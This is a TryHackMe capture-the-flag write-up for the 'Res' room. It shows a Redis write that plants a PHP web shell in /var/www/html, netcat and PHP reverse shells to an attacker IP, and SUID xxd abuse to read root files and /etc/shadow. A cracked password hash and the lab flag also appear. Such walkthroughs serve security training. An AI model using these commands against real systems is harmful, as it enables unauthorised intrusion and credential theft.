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158 lines
5 KiB
Markdown
158 lines
5 KiB
Markdown
# TryHackMe-Res
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> Abdullah Rizwan | 12:00 AM | 4th November ,2020
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## NMAP
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Run the scan for all ports
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```
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Nmap scan report for 10.10.199.149
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Host is up (0.17s latency).
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Not shown: 65533 closed ports
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PORT STATE SERVICE VERSION
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80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
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|_http-server-header: Apache/2.4.18 (Ubuntu)
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|_http-title: Apache2 Ubuntu Default Page: It works
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6379/tcp open redis Redis key-value store 6.0.7
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```
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## PORT 6379
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I used `https://book.hacktricks.xyz/pentesting/6379-pentesting-redis` to enumerate redis
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`nc 10.10.199.149 6379`
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Connect to the port using `netcat` and type `info` you'll get output like this
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<img src="https://imgur.com/5hbIipH.png"/>
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Now we need to use redis-cli client to interact with it more so install using `apt-get install redis-tools`
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<img src="https://imgur.com/o4ciScd.png"/>
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As you can see after installing the redis-cli we can interact with it
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Lets see if we can create a php page by changing directory to where apache fetches html pages and name the page to `redis.php`
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```
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10.10.199.149:6379> config set dir /var/www/html
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OK
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10.10.199.149:6379> config set dbfilename redis.php
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OK
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10.10.199.149:6379> set test "<?php phpinfo(); ?>"
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OK
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10.10.199.149:6379> save
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OK
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```
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<img src="https://imgur.com/Z1bKq16.png"/>
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And it works so we can confirm that we can get a shell from this , now set a GET parameter that can inovoke system commands.
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```
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10.10.199.149:6379> set test "<?php system($_GET['command']); ?>"
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OK
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10.10.199.149:6379> save
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OK
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10.10.199.149:6379>
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```
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<img src="https://imgur.com/gkUtH6O.png"/>
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RCE exists so lets get a shell
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`php -r '$sock=fsockopen("10.14.3.143",6666);exec("/bin/sh -i <&3 >&3 2>&3");'` - Didn't worked
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`nc -e /bin/sh 10.14.3.143 6666` - Worked !
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<img src="https://imgur.com/YVVAZeJ.png"/>
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### User Flag
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In `/home/vianka` We can find the user flag
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### Root Flag
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Now for the root flag by looing for `SUID` we see that `xxd` has an suid bit set so it can run as root by anyone
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```
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www-data@ubuntu:/$ find / -perm /4000 2>/dev/null
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/bin/ping
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/bin/fusermount
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/bin/mount
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/bin/su
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/bin/ping6
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/bin/umount
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/usr/bin/chfn
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/usr/bin/xxd
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/usr/bin/newgrp
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/usr/bin/sudo
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/usr/bin/passwd
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/usr/bin/gpasswd
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/usr/bin/chsh
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/usr/lib/eject/dmcrypt-get-device
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/usr/lib/dbus-1.0/dbus-daemon-launch-helper
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/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
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/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
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www-data@ubuntu:/$ xxd /root/root.txt | xxd -r
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thm{xxd_pr1v_escalat1on}
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```
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### Privilege Escalation
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We got the root flag without even being root but I love to find a way to get root so lets do that.We know that we can read almost anyting with `xxd` so lets try to read `/etc/shadow` and crack the user's hash
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`xxd /etc/shadow | xxd -r`
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`vianka:$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0:18507:0:99999:7:::`
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Run `johntheripper` on this hash
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```
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root@kali:~/TryHackMe/Easy/Res# john hash
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Using default input encoding: UTF-8
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Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
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Cost 1 (iteration count) is 5000 for all loaded hashes
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Will run 4 OpenMP threads
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Proceeding with single, rules:Single
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Press 'q' or Ctrl-C to abort, almost any other key for status
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Warning: Only 3 candidates buffered for the current salt, minimum 16 needed for performance.
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Warning: Only 7 candidates buffered for the current salt, minimum 16 needed for performance.
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Warning: Only 9 candidates buffered for the current salt, minimum 16 needed for performance.
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Warning: Only 7 candidates buffered for the current salt, minimum 16 needed for performance.
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Warning: Only 11 candidates buffered for the current salt, minimum 16 needed for performance.
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Warning: Only 8 candidates buffered for the current salt, minimum 16 needed for performance.
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Almost done: Processing the remaining buffered candidate passwords, if any.
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Warning: Only 6 candidates buffered for the current salt, minimum 16 needed for performance.
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Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
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beautiful1 (vianka)
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1g 0:00:00:04 DONE 2/3 (2020-11-04 01:25) 0.2183g/s 2533p/s 2533c/s 2533C/s maryjane1..cookies1
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Use the "--show" option to display all of the cracked passwords reliably
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```
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Now login with `vinanka`
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```
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www-data@ubuntu:/$ su vianka
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Password:
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vianka@ubuntu:/$ sudo -l
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[sudo] password for vianka:
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Matching Defaults entries for vianka on ubuntu:
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env_reset, mail_badpass,
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secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
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User vianka may run the following commands on ubuntu:
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(ALL : ALL) ALL
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vianka@ubuntu:/$ sudo bash
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root@ubuntu:/#
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```
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We are root !
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